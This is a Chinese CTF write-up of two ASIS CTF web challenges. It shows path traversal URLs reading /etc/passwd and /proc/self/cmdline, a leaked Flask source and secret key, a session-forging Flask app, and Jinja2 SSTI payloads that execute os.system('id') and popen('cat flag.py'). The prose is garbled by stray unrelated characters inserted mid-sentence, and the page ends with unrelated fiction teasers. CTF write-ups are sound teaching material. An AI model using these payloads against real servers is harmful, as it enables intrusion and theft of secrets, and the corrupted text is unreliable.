Web CTF 初探

Golem is stupid!

ASIS CTF 的一道 Web箕般,打開 題目頁面 https://golem.asisctf.com/

image.png

查看了一下耐薯,沒有什么敏感信息。于是操作輸入框。

發(fā)現(xiàn)網(wǎng)頁將剛才輸入的元素展示出來曲初,并且提供了一個鏈接

image.png

打開鏈接体谒,發(fā)現(xiàn)這里可能出現(xiàn)問題。實驗一下臼婆,果然暴露出了路徑

image.png

嘗試使用目錄穿越抒痒,成功獲取了服務器上的 passwd。

image.png

由于之前并沒有看出這個 web 服務是什么啟動的颁褂,因此訪問路徑 https://golem.asisctf.com/article?name=../../../../../proc/self/cmdline 看一下這個服務的啟動參數(shù)

image.png

依次查看參數(shù)故响,果然發(fā)現(xiàn)其啟動文件

image.png

查看之,這是一個python flask 服務颁独,把用戶的輸入渲染到頁面上來彩届。在簡單的過濾之后調(diào)用函數(shù) render_template_string 進行渲染。這是一個危險的信號誓酒,有可能觸發(fā) SSTI樟蠕。

import os

from flask import (
    Flask, 
    render_template,
    request,
    url_for,
    redirect,
    session,
    render_template_string
)
from flask.ext.session import Session

app = Flask(__name__)


execfile('flag.py')
execfile('key.py')

FLAG = flag
app.secret_key = key

@app.route("/golem", methods=["GET", "POST"])
def golem():
    if request.method != "POST":
        return redirect(url_for("index"))

    golem = request.form.get("golem") or None

    if golem is not None:
        golem = golem.replace(".", "").replace("_", "").replace("{","").replace("}","")
    
    if "golem" not in session or session['golem'] is None:
        session['golem'] = golem

    template = None

    if session['golem'] is not None:
        template = '''{%% extends "layout.html" %%}
        {%% block body %%}
        <h1>Golem Name</h1>
        <div class="row>
        <div class="col-md-6 col-md-offset-3 center">
        Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>?
        </div>
        </div>
        {%% endblock %%}
        ''' % session['golem']
        
        print 

        session['golem'] = None

    return render_template_string(template)

@app.route("/", methods=["GET"])
def index():
    return render_template("main.html")

@app.route('/article', methods=['GET'])
def article():

    error = 0

    if 'name' in request.args:
        page = request.args.get('name')
    else:
        page = 'article'

    if page.find('flag')>=0:
        page = 'notallowed.txt'

    try:
        template = open('/home/golem/articles/{}'.format(page)).read()
    except Exception as e:
        template = e

    return render_template('article.html', template=template)

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=False)

繼續(xù)觀察程序邏輯,首先程序過濾用戶輸入中的 ‘{’靠柑、‘}’寨辩、‘_’、‘.’病往,接著將用戶輸入保存在 session 中,渲染頁面時再從 session 中獲取并拼接到模板中骄瓣,調(diào)用 render_template_string渲染頁面停巷。

一般而言存在 session 中的東西是不能夠偽造的,然而我們可以通過目錄穿越直接訪問到 seesion key~從而可以偽造之

image.png

編寫一個 Flask 服務榕栏,使用獲取的服務器 seesion key畔勤。傳入?yún)?shù) ?golem={{%20[].__class__.__base__.__subclasses__()[59].__init__.func_globals[%27linecache%27].__dict__[%27os%27].system(%27id%27)%20}} 可以通過 catch_warnning 執(zhí)行任意系統(tǒng)命令。

from flask import (
    Flask, 
    render_template,
    request,
    url_for,
    redirect,
    session,
    render_template_string
)
from flask.ext.session import Session

app = Flask(__name__)

app.secret_key = "7h15_5h0uld_b3_r34lly_53cur3d"

@app.route('/',methods=["GET","POST"])
def hello_world():
    golem = request.args.get('golem')
    session['golem'] = golem
    return session['golem']

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=False)

將頁面上的 session 替換為本地偽造的 session 扒磁,golem 也會被替換庆揪。這里可能還有一些驗證,將參數(shù)變化為 {{ [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].popen('cat flag.py').read()}}便可以讀取了妨托。

Refenrence

Mathilda

打開網(wǎng)頁缸榛,好像沒有什么東西,查看源碼兰伤,發(fā)現(xiàn)有 ~rooney内颗,好像是一個映射。
訪問之

image.png

發(fā)現(xiàn)一個鏈接敦腔,訪問之均澳,發(fā)現(xiàn)有目錄穿越,只是過濾了 ../,修改一下

image.png

查看這個 web 服務是什么程序啟動的找前。發(fā)現(xiàn)是 apache

image.png

根據(jù) apache 映射的原則糟袁,波浪線映射的位置應該是位于 /home/rooney/public_html 中,于是訪問之,發(fā)現(xiàn)敏感信息躺盛,猜測文件位置可能在 files 目錄下项戴。

image.png

于是訪問之,果然颗品。

image.png

flag 的位置仍需要猜測肯尺,想到 passwd 中還有一個奇怪的用戶名,于是照例訪問之

image.png

成功

Refenrence

總結(jié)

感謝 EM 大佬的幫助

image.png
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末躯枢,一起剝皮案震驚了整個濱河市则吟,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌锄蹂,老刑警劉巖氓仲,帶你破解...
    沈念sama閱讀 217,277評論 6 503
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異得糜,居然都是意外死亡敬扛,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,689評論 3 393
  • 文/潘曉璐 我一進店門朝抖,熙熙樓的掌柜王于貴愁眉苦臉地迎上來啥箭,“玉大人,你說我怎么就攤上這事治宣〖苯模” “怎么了?”我有些...
    開封第一講書人閱讀 163,624評論 0 353
  • 文/不壞的土叔 我叫張陵侮邀,是天一觀的道長坏怪。 經(jīng)常有香客問我,道長绊茧,這世上最難降的妖魔是什么铝宵? 我笑而不...
    開封第一講書人閱讀 58,356評論 1 293
  • 正文 為了忘掉前任,我火速辦了婚禮华畏,結(jié)果婚禮上鹏秋,老公的妹妹穿的比我還像新娘。我一直安慰自己亡笑,他們只是感情好拼岳,可當我...
    茶點故事閱讀 67,402評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著况芒,像睡著了一般惜纸。 火紅的嫁衣襯著肌膚如雪叶撒。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,292評論 1 301
  • 那天耐版,我揣著相機與錄音祠够,去河邊找鬼。 笑死粪牲,一個胖子當著我的面吹牛古瓤,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播腺阳,決...
    沈念sama閱讀 40,135評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼落君,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了亭引?” 一聲冷哼從身側(cè)響起绎速,我...
    開封第一講書人閱讀 38,992評論 0 275
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎焙蚓,沒想到半個月后纹冤,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,429評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡购公,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,636評論 3 334
  • 正文 我和宋清朗相戀三年萌京,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片宏浩。...
    茶點故事閱讀 39,785評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡知残,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出比庄,到底是詐尸還是另有隱情求妹,我是刑警寧澤,帶...
    沈念sama閱讀 35,492評論 5 345
  • 正文 年R本政府宣布印蔗,位于F島的核電站扒最,受9級特大地震影響丑勤,放射性物質(zhì)發(fā)生泄漏华嘹。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,092評論 3 328
  • 文/蒙蒙 一法竞、第九天 我趴在偏房一處隱蔽的房頂上張望耙厚。 院中可真熱鬧,春花似錦岔霸、人聲如沸薛躬。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,723評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽型宝。三九已至,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間趴酣,已是汗流浹背梨树。 一陣腳步聲響...
    開封第一講書人閱讀 32,858評論 1 269
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留岖寞,地道東北人抡四。 一個月前我還...
    沈念sama閱讀 47,891評論 2 370
  • 正文 我出身青樓,卻偏偏與公主長得像仗谆,于是被迫代替她去往敵國和親指巡。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 44,713評論 2 354

推薦閱讀更多精彩內(nèi)容

  • 22年12月更新:個人網(wǎng)站關停隶垮,如果仍舊對舊教程有興趣參考 Github 的markdown內(nèi)容[https://...
    tangyefei閱讀 35,181評論 22 257
  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具(例如配置管理藻雪,服務發(fā)現(xiàn),斷路器岁疼,智...
    卡卡羅2017閱讀 134,654評論 18 139
  • 快速啟動 是不是很渴望馬上開始袄妗?這篇文檔將會很好的向你介紹Flask捷绒。假設你已經(jīng)安裝好了Flask瑰排。如果還沒有安...
    催眠_a363閱讀 682評論 0 1
  • 第三章 模板 序 為什么要分離 易于維護的代碼,關鍵在于保持簡單的結(jié)構(gòu)暖侨。而我們之前編寫的hello.py雖然簡單椭住,...
    科幻經(jīng)典閱讀 1,535評論 0 6
  • 從三月份找實習到現(xiàn)在,面了一些公司字逗,掛了不少京郑,但最終還是拿到小米、百度葫掉、阿里些举、京東、新浪俭厚、CVTE户魏、樂視家的研發(fā)崗...
    時芥藍閱讀 42,243評論 11 349